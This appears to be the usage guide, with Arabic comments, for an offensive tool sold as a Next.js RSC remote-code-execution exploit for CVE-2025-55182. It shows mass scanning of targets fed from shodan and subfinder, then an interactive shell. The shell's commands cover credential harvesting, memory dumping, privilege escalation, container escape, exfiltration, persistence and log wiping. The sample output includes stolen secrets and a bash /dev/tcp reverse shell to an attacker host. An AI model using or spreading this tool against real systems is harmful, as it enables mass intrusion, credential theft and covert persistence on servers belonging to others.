# Python 3.6 أو أعلى
python3 --version

# تثبيت التبعيات
pip3 install requests urllib3

# استنساخ أو تنزيل الأداة
cd r2s-main

# جعله قابلًا للتنفيذ (اختياري)
chmod +x r2s_enhanced.py

# تشغيل الأداة
python3 r2s_enhanced.py -h

python3 r2s_enhanced.py [OPTIONS]

python3 r2s_enhanced.py -u http://target.com

python3 r2s_enhanced.py -l targets.txt -t 50

cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py

upload <local_file> <remote_path>    # رفع ملف إلى الهدف
download <remote_file> <local_path>  # تنزيل ملف من الهدف

cd <directory>                       # تغيير دليل العمل
pwd                                  # طباعة دليل العمل

enum                                 # تعداد النظام الكامل
privesc                              # فحوصات رفع الامتيازات
harvest                              # جمع بيانات الاعتماد
portscan <ip>                        # فحص منافذ الشبكة الداخلية
memdump [pid]                        # تفريغ ذاكرة العملية للأسرار

lateral                              # فرص الحركة الجانبية
escape                               # نواقل الهروب من الحاويات
exfil [type]                         # استخراج البيانات (env/config/keys/db/logs/all)
reverse <lhost> <lport>              # تجربة حمولات شل عكسي متعددة

persist                              # إضافة تثبيت أساسي
advpersist                           # إضافة تثبيت متقدم

stealth                              # مسح السجلات وإخفاء الآثار

save                                 # حفظ الجلسة الحالية
help, ?                              # إظهار رسالة المساعدة
exit, quit                           # الخروج من الشفرة التفاعلية

whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd

$ python3 r2s_enhanced.py -u http://vulnerable-app.com

    _   __          __  ____            
   / | / /__  _  __/ /_/ __ \________   
  /  |/ / _ \| |/_/ __/ /_/ / ___/ _ \  
 / /|  /  __/>  </_ _/ _, _/ /__/  __/  
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/   

   Next.js RSC Exploit Tool (CVE-2025-55182)
   Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)

   >> CREDIT( G4rxd )

[*] Loaded 1 targets. Starting scan with 30 threads...
[*] Payload Command: id

[VULN] http://vulnerable-app.com >>> RCE SUCCESS
       Output: uid=1000(node) gid=1000(node) groups=1000(node)

[+] Stateful Interactive RCE shell started. Type 'help' for commands.
[*] Advanced features: enum, privesc, persist, portscan, harvest, stealth
[*] New features: memdump, lateral, escape, exfil, advpersist, reverse

[+] HTTP server started on 192.168.1.100:8000

next-rce:/app$

next-rce:/app$ enum

[*] Starting automated enumeration...

============================================================
[*] System Info
============================================================
Linux 5.15.0-91-generic #101-Ubuntu SMP x86_64 GNU/Linux
NAME="Ubuntu"
VERSION="22.04.3 LTS (Jammy Jellyfish)"

============================================================
[*] Current User
============================================================
node
uid=1000(node) gid=1000(node) groups=1000(node),27(sudo)

============================================================
[*] Container Detection
============================================================
12:devices:/docker/a1b2c3d4e5f6
11:cpuset:/docker/a1b2c3d4e5f6
[Docker container detected]

...

# رفع ملف
next-rce:/app$ upload /tmp/exploit.sh /var/tmp/exploit.sh
[*] Uploading /tmp/exploit.sh (2048 bytes) via HTTP...
[+] Upload successful!
    -rwxr-xr-x 1 node node 2048 Dec 12 03:28 /var/tmp/exploit.sh

# تنزيل ملف
next-rce:/app$ download /etc/passwd ./passwd.txt
[*] Downloading /etc/passwd via HTTP...
[+] Download successful! (1523 bytes)
    Saved to: ./passwd.txt

next-rce:/app$ harvest

[*] Harvesting credentials...

[*] Environment Variables:
DATABASE_PASSWORD=super_secret_pass
API_KEY=sk-1234567890abcdef
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[*] .env Files:
/app/.env
/app/.env.production
/var/www/.env.local

[*] SSH Keys:
/home/node/.ssh/id_rsa
/root/.ssh/id_rsa

...

next-rce:/app$ reverse 192.168.1.100 4444

[*] Starting reverse shell attempts to 192.168.1.100:4444
[!] Make sure you have a listener running: nc -lvnp 4444

[*] Trying 25 different reverse shell payloads...

[1/25] Trying Bash TCP... ✓ Executed
[?] Did you receive a connection? (y/n/s to stop): y

[+] SUCCESS! Reverse shell established using: Bash TCP
[*] Payload: bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

$ cat targets.txt
http://app1.example.com
http://app2.example.com
http://app3.example.com

$ python3 r2s_enhanced.py -l targets.txt -t 50

[*] Loaded 3 targets. Starting scan with 50 threads...

[VULN] http://app1.example.com >>> RCE SUCCESS
[VULN] http://app3.example.com >>> RCE SUCCESS

[*] Scan completed.

next-rce:/app$ privesc

[*] Checking privilege escalation vectors...

[*] SUID Binaries:
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

[*] Sudo Permissions:
User node may run the following commands:
    (ALL : ALL) NOPASSWD: /usr/bin/docker

[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock

[*] Docker Group:
In docker group - EXPLOITABLE!

...

next-rce:/app$ escape

[*] Checking container escape vectors...

[*] Container Type:
12:devices:/docker/a1b2c3d4e5f6

[*] Privileged Container:
PRIVILEGED

[*] Docker Socket:
srw-rw---- 1 root docker 0 Dec 12 03:28 /var/run/docker.sock

[*] Capabilities:
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
[Full capabilities - container is privileged]

...